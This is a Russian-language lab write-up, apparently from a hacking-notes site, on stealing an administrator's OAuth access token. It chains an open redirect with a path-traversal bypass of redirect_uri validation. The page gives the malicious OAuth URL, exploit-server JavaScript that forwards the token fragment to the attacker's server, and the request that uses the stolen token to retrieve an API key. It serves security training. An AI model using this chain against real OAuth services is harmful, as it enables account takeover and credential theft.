> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# Кража токена OAuth через открытое перенаправление

### Кража OAuth access-токенов через открытое перенаправление

**Цель лабораторной работы**

В этой лабораторной работе используется некорректная проверка `redirect_uri` параметра службой OAuth. / Цель — использовать открытое перенаправление, присутствующее в клиентском приложении, чтобы **эксфильтровать OAuth access-токен пользователя-администратора** а затем использовать его, чтобы получить его API-ключ.

> Невозможно получить API-ключ администратора, просто подключившись к его аккаунту через клиентское приложение.

**Обнаружение открытого перенаправления**

Открытое перенаправление присутствует в функции просмотра между статьями блога:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="/files/92356df859382240f472602f932f8f2f490e8ff2" alt=""><figcaption></figcaption></figure>

Заменив `параметр` параметр на внешний URL, перенаправление принимается:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

Браузер перенаправляется, подтверждая уязвимость.

<figure><img src="/files/90453b83e2413f91b18935bafe3945da37f045e0" alt=""><figcaption></figcaption></figure>

**Анализ потока OAuth**

При аутентификации через OAuth наблюдается следующий запрос:

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/701e33a0217b658679f6be93cb216143b3cef89d" alt=""><figcaption></figcaption></figure>

Служба OAuth отклоняет полностью внешний `redirect_uri`, но принимает внутренний URL, модифицированный с помощью обхода по пути.

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="/files/04c166ae2fa440bf658baf0f986bcd81232ec37f" alt=""><figcaption></figcaption></figure>

**`redirect_uri` Обход проверки**

Используя `../` чтобы выйти из `/OAuth-callback` пути, можно сцепить открытое перенаправление:

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/0fa21854796c498772612eb9e8f6b96a789eb5d7" alt=""><figcaption></figcaption></figure>

Этот URL принимается как `redirect_uri` провайдером OAuth.

**Создание вредоносного OAuth-URL**

Итоговый URL, отправляемый жертве, выглядит так:

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**Проблема с фрагментом (`#`)**

Фрагмент URL **никогда не отправляется на сервер** во время HTTP-запроса.<br>

<figure><img src="/files/e53b42799b3f416defc5495ea7ae8d7ccfc3e368" alt=""><figcaption></figcaption></figure>

Для перехвата токена требуется JavaScript на стороне клиента.

<figure><img src="/files/edc14e5ace89ee1221062a3e369c05c727ade4a6" alt=""><figcaption></figcaption></figure>

**Перехват токена с помощью JavaScript**

Следующий скрипт размещён на сервере Exploit и отправляется администратору:

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="/files/3eb2719a189ac790ed4f979d6de05256b5e41b0a" alt=""><figcaption></figcaption></figure>

* Если фрагмент отсутствует, жертва перенаправляется в OAuth.
* Если фрагмент есть, токен передаётся на сервер через строку запроса.

<figure><img src="/files/c5c5ae6a50d0c908539c690228955beb6e672b8d" alt=""><figcaption></figcaption></figure>

**Эксплуатация OAuth-токена**

Украденный токен позволяет обратиться к `/me` конечной точке поставщика OAuth:

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="/files/3658ffc3b10f085dbda1b5d0f2f21ea661931dd6" alt=""><figcaption></figcaption></figure>

Ответ содержит информацию об учётной записи администратора, включая API-ключ:

{% code overflow="wrap" %}

```http
{
"sub":"администратор",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Администратор",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="/files/3a48357b0f7c073162b3130385b118beea136fc2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
